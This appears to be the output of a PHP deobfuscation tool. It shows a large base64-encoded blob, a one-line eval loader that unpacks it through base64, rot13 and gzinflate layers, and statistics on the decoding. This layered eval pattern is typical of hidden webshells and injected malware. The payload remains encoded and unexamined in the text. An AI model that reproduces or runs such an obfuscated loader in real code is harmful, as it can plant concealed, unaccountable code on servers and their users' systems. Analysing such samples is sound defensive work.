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";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($J3MB0D404))))));
Function Calls
| gzinflate | 1 |
| str_rot13 | 2 |
| base64_decode | 1 |
Stats
| MD5 | c490de2e19dd3fb1b13b2a8f5af5a523 |
| Eval Count | 1 |
| Decode Time | 240 ms |